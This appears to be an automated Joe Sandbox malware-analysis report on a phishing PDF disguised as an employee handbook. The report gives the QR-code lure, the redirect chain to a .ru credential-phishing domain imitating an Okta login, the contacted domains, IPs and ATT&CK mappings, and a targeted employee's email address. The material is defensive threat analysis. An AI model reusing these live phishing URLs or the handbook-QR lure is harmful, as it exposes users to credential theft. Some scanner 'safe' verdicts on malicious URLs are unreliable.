Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.4:54418 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.96:443 -> 192.168.2.4:54426 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.4:54430 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:54435 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.4:54434 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:54436 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir8112_218204208

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir8112_218204208

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.winPDF@40/125@47/23

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-03-18 13-14-41-906.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Munsch-Employee-Handbook.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://emailtracking.scopeappointmentforyou.com/link?messageId=<bf38bdab-bb31-sl37-4ca8-98a8-3d879d6472df@scopeappointmentforyou.com>&url=https://o0O6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch.com
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2056,i,889037942201260479,17174289915668172751,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2104 /prefetch:3
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1568,i,3677779634465442886,8973381024540968932,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1568,i,3677779634465442886,8973381024540968932,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2056,i,889037942201260479,17174289915668172751,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2104 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Munsch-Employee-Handbook.pdf	Initial sample: PDF keyword /JS count = 0
Source: Munsch-Employee-Handbook.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: Munsch-Employee-Handbook.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: Munsch-Employee-Handbook.pdf

Initial sample: PDF keyword obj count = 60

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 0.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.11..script.csv, type: HTML
Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	11 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Web Protocols	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://o0o6.bvyunz.ru/rsGGLCGwzNM0Mq8tzKuZCN2ZlFnKeuvHQZhU2nYviQ5xI99TKwosiXzOef191	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/rqvL8Yo5T1guQzvEvyXzBZ5mRylIHLa1dyl8f3zWTRFfq	0%	Avira URL Cloud	safe
https://vcgxa7ugi0kfq2ga6pwzljoveuwy1gqgkq2et1mmu6e2inh4vefamvp.erisxw.es/68758729820712400946713QICmuzgBVSUHSLVZWWCONFQXTHNLXFTVNABRJADCBrsLW62r4L3zYsS12kCyvuv40	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/45MWSB4Og2SZrpGx0snnxew5DI9gs114ucC1ujo78xObpPsvl5n2ZJsqAOWPU6e35LuOgqr271	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/stpigUJ3eXewJvgiT8UFH2LWtoVHAECGlCd2Dbv4NNTxN6367rmaLYFxQ3P43uRXyFrdnNpzsWiGLk3Pef260	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/abku02AeKLsRopqNef26	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/nmMmSdPwpaBxTnqpnmfTe0eEsidS7PO9kIHQfu	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/uvDozZ86DfeH93KodasaV6JoKAz0XdnstnPjlpZlIO7O234128	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/GDSherpa-regular.woff	0%	Avira URL Cloud	safe
https://bk6s.xqwqkd.ru/bhanchod!i1eas	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/ijTVHGiqrxwwSUF4WUa6VZmncPYBBHVsxaYqxIZ2a6c7jhpetZSef210	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/GDSherpa-bold.woff2	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/wx2mn8AFQ32Wg6WHBgTatvxopX1ZGh94u3Pf3dd2YBcPAkmMmc90178	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/GDSherpa-bold.woff	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/klMUQbNAaXATujlKA9QGzbHH7P1A1BqIlSwxrZY6e17Bv5IU6wm3KPzbxKSR70QGsKTmcm4vcd300	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/ijKdfybVoGPHkc90RlwCUXcdKmxWXjFfzHjdr0C5S78170	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/efETyrYUbOhTDYPjvxyVmzvMM95tM9yMijaogyaJOFRH7Hcd78150	0%	Avira URL Cloud	safe
http://emailtracking.scopeappointmentforyou.com/link?messageId=%3Cbf38bdab-bb31-sl37-4ca8-98a8-3d879d6472df@scopeappointmentforyou.com%3E&url=https://o0O6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch.com	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/34m8CUkLZcRXlAHijjrSpaKSii6w1rVZ589107	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/56ViOL6g4iXgtDFmfabDb4L6711	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/favicon.ico	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/qrfxldrv8igGlQYckZu7V6Zj8o0jZ12hZxQ3l1Z23eUerAMZtL0cd240	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/kc4aTzflY0WS9C9KyHmqQuGZwKOOmnAn9g9cnaj94Rih3dicllky9ZHo9y	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/GDSherpa-vf2.woff2	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/GDSherpa-vf.woff2	0%	Avira URL Cloud	safe
https://o0o6.bvyunz.ru/GDSherpa-regular.woff2	0%	Avira URL Cloud	safe
https://emailtracking.scopeappointmentforyou.com/link?messageId=%3Cbf38bdab-bb31-sl37-4ca8-98a8-3d879d6472df@scopeappointmentforyou.com%3E&url=https://o0O6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch.com	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
o0o6.bvyunz.ru	104.21.96.1	true	true	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
e8652.dscx.akamaiedge.net	23.209.209.135	true	false	high
developers.cloudflare.com	104.16.4.189	true	false	high
smartlead-be-alb-1825251389.ap-southeast-2.elb.amazonaws.com	54.153.183.153	true	false	unknown
github.com	140.82.121.4	true	false	high
bk6s.xqwqkd.ru	104.21.64.1	true	false	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
vcgxa7ugi0kfq2ga6pwzljoveuwy1gqgkq2et1mmu6e2inh4vefamvp.erisxw.es	104.21.48.1	true	false	unknown
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
get.geojs.io	104.26.0.100	true	false	high
www.google.com	142.250.186.36	true	false	high
d19d360lklgih4.cloudfront.net	13.33.187.68	true	false	high
objects.githubusercontent.com	185.199.111.133	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
emailtracking.scopeappointmentforyou.com	unknown	unknown	true	unknown
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://o0o6.bvyunz.ru/rqvL8Yo5T1guQzvEvyXzBZ5mRylIHLa1dyl8f3zWTRFfq	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://o0o6.bvyunz.ru/nmMmSdPwpaBxTnqpnmfTe0eEsidS7PO9kIHQfu	false	Avira URL Cloud: safe	unknown
https://o0o6.bvyunz.ru/rsGGLCGwzNM0Mq8tzKuZCN2ZlFnKeuvHQZhU2nYviQ5xI99TKwosiXzOef191	false	Avira URL Cloud: safe	unknown
https://o0o6.bvyunz.ru/45MWSB4Og2SZrpGx0snnxew5DI9gs114ucC1ujo78xObpPsvl5n2ZJsqAOWPU6e35LuOgqr271	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://o0o6.bvyunz.ru/stpigUJ3eXewJvgiT8UFH2LWtoVHAECGlCd2Dbv4NNTxN6367rmaLYFxQ3P43uRXyFrdnNpzsWiGLk3Pef260	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://vcgxa7ugi0kfq2ga6pwzljoveuwy1gqgkq2et1mmu6e2inh4vefamvp.erisxw.es/68758729820712400946713QICmuzgBVSUHSLVZWWCONFQXTHNLXFTVNABRJADCBrsLW62r4L3zYsS12kCyvuv40	false	Avira URL Cloud: safe	unknown
https://o0o6.bvyunz.ru/uvDozZ86DfeH93KodasaV6JoKAz0XdnstnPjlpZlIO7O234128	false	Avira URL Cloud: safe	unknown
https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM	true		unknown
https://o0o6.bvyunz.ru/abku02AeKLsRopqNef26	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://a.nel.cloudflare.com/report/v4?s=egrgXoIpJsGqMyHLn6e6fulqtxqkXieGCUxZIv%2BtUquQvEDIK4tcn2aAam0M3S%2BGwH3dAI6OyEiSVN9PGYLp2kJGX7o%2BYYns7Jjk75YtmRfCwGZ1zwQa9BEdqg03DPS5Okso	false		high
https://bk6s.xqwqkd.ru/bhanchod!i1eas	false	Avira URL Cloud: safe	unknown
https://o0o6.bvyunz.ru/GDSherpa-regular.woff	false	Avira URL Cloud: safe	unknown
https://o0o6.bvyunz.ru/ijTVHGiqrxwwSUF4WUa6VZmncPYBBHVsxaYqxIZ2a6c7jhpetZSef210	false	Avira URL Cloud: safe	unknown
https://o0o6.bvyunz.ru/ijKdfybVoGPHkc90RlwCUXcdKmxWXjFfzHjdr0C5S78170	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://o0o6.bvyunz.ru/klMUQbNAaXATujlKA9QGzbHH7P1A1BqIlSwxrZY6e17Bv5IU6wm3KPzbxKSR70QGsKTmcm4vcd300	false	Avira URL Cloud: safe	unknown
https://o0o6.bvyunz.ru/wx2mn8AFQ32Wg6WHBgTatvxopX1ZGh94u3Pf3dd2YBcPAkmMmc90178	false	Avira URL Cloud: safe	unknown
https://o0o6.bvyunz.ru/GDSherpa-bold.woff2	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://developers.cloudflare.com/favicon.png	false		high
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://o0o6.bvyunz.ru/56ViOL6g4iXgtDFmfabDb4L6711	false	Avira URL Cloud: safe	unknown
https://o0o6.bvyunz.ru/GDSherpa-bold.woff	false	Avira URL Cloud: safe	unknown
https://o0o6.bvyunz.ru/efETyrYUbOhTDYPjvxyVmzvMM95tM9yMijaogyaJOFRH7Hcd78150	false	Avira URL Cloud: safe	unknown
https://o0o6.bvyunz.ru/34m8CUkLZcRXlAHijjrSpaKSii6w1rVZ589107	false	Avira URL Cloud: safe	unknown
http://emailtracking.scopeappointmentforyou.com/link?messageId=%3Cbf38bdab-bb31-sl37-4ca8-98a8-3d879d6472df@scopeappointmentforyou.com%3E&url=https://o0O6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch.com	false	Avira URL Cloud: safe	unknown
https://o0o6.bvyunz.ru/qrfxldrv8igGlQYckZu7V6Zj8o0jZ12hZxQ3l1Z23eUerAMZtL0cd240	false	Avira URL Cloud: safe	unknown
https://o0o6.bvyunz.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://get.geojs.io/v1/ip/geo.json	false		high
https://o0o6.bvyunz.ru/kc4aTzflY0WS9C9KyHmqQuGZwKOOmnAn9g9cnaj94Rih3dicllky9ZHo9y	false	Avira URL Cloud: safe	unknown
https://o0o6.bvyunz.ru/GDSherpa-vf2.woff2	false	Avira URL Cloud: safe	unknown
https://o0o6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch.com	false		unknown
https://o0o6.bvyunz.ru/GDSherpa-regular.woff2	false	Avira URL Cloud: safe	unknown
https://o0o6.bvyunz.ru/GDSherpa-vf.woff2	false	Avira URL Cloud: safe	unknown
https://emailtracking.scopeappointmentforyou.com/link?messageId=%3Cbf38bdab-bb31-sl37-4ca8-98a8-3d879d6472df@scopeappointmentforyou.com%3E&url=https://o0O6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch.com	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.1.dr	false	high
https://www.amazon.com	chromecache_270.3.dr	false	high
https://github.com/fent)	chromecache_304.3.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.48.1	vcgxa7ugi0kfq2ga6pwzljoveuwy1gqgkq2et1mmu6e2inh4vefamvp.erisxw.es	United States	13335	CLOUDFLARENETUS	false
104.21.64.1	bk6s.xqwqkd.ru	United States	13335	CLOUDFLARENETUS	false
104.21.80.1	unknown	United States	13335	CLOUDFLARENETUS	false
185.199.111.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
23.209.209.135	e8652.dscx.akamaiedge.net	United States	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
54.153.183.153	smartlead-be-alb-1825251389.ap-southeast-2.elb.amazonaws.com	United States	16509	AMAZON-02US	false
3.24.57.108	unknown	United States	16509	AMAZON-02US	false
104.21.96.1	o0o6.bvyunz.ru	United States	13335	CLOUDFLARENETUS	true
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
104.16.2.189	unknown	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.186.36	www.google.com	United States	15169	GOOGLEUS	false
13.33.187.68	d19d360lklgih4.cloudfront.net	United States	16509	AMAZON-02US	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
140.82.121.4	github.com	United States	36459	GITHUBUS	false
13.33.187.96	unknown	United States	16509	AMAZON-02US	false
172.67.70.233	unknown	United States	13335	CLOUDFLARENETUS	false
104.16.4.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.26.0.100	get.geojs.io	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1642003
Start date and time:	2025-03-18 18:13:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Munsch-Employee-Handbook.pdf
Detection:	MAL
Classification:	mal100.phis.evad.winPDF@40/125@47/23
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 64.233.166.84, 142.250.186.142, 142.250.185.163, 142.250.185.142, 172.217.23.110, 216.58.212.142, 172.64.41.3, 162.159.61.3, 2.22.242.11, 2.22.242.123, 216.58.206.46, 2.19.104.203, 2.23.77.188, 199.232.214.172, 95.101.148.135, 23.56.162.204, 172.217.16.142, 142.250.185.206, 142.250.184.206, 23.209.212.204, 142.250.185.174, 142.250.65.206, 173.194.7.38, 142.250.186.131, 74.125.206.84, 142.250.186.35, 142.250.186.174, 216.58.206.74, 142.250.185.234, 142.250.186.106, 142.250.186.170, 142.250.181.234, 142.250.74.202, 142.250.186.138, 142.250.185.170, 172.217.16.202, 142.250.184.234, 142.250.185.138, 142.250.184.202, 142.250.185.202, 142.250.186.74, 142.250.186.42, 216.58.206.42, 23.60.203.209, 131.253.33.254, 52.22.41.97, 4.175.87.197
Excluded domains from analysis (whitelisted): a-ring-fallback.msedge.net, chrome.cloudflare-dns.com, e4578.dscg.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, clientservices.googleapis.com, acroipm2.adobe.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, ssl-delivery.adobe.com.edgekey.net, r1---sn-p5qddn76.gvt1.com, a122.dscd.akamai.net, update.googleapis.com, c.pki.goog, wu-b-net.trafficmanager.net, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, edgedl.me.gvt1.com, armmf.adobe.com, r1.sn-p5qddn76.gvt1.com, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:14:50	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

QR Codes

Source	URL
Screenshot	http://emailtracking.scopeappointmentforyou.com/link?messageId=<bf38bdab-bb31-sl37-4ca8-98a8-3d879d6472df@scopeappointmentforyou.com>&url=https://o0O6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch.com

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.48.1	http://104.21.48.1	Get hash	malicious	Unknown	Browse	104.21.48.1/favicon.ico
	345623.bat	Get hash	malicious	DBatLoader, FormBook	Browse	www.shlomi.app/9rzh/
	ySUB97Jq80.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.shlomi.app/9rzh/
	hQaXUS5gt0.exe	Get hash	malicious	FormBook	Browse	www.newanthoperso.shop/3nis/
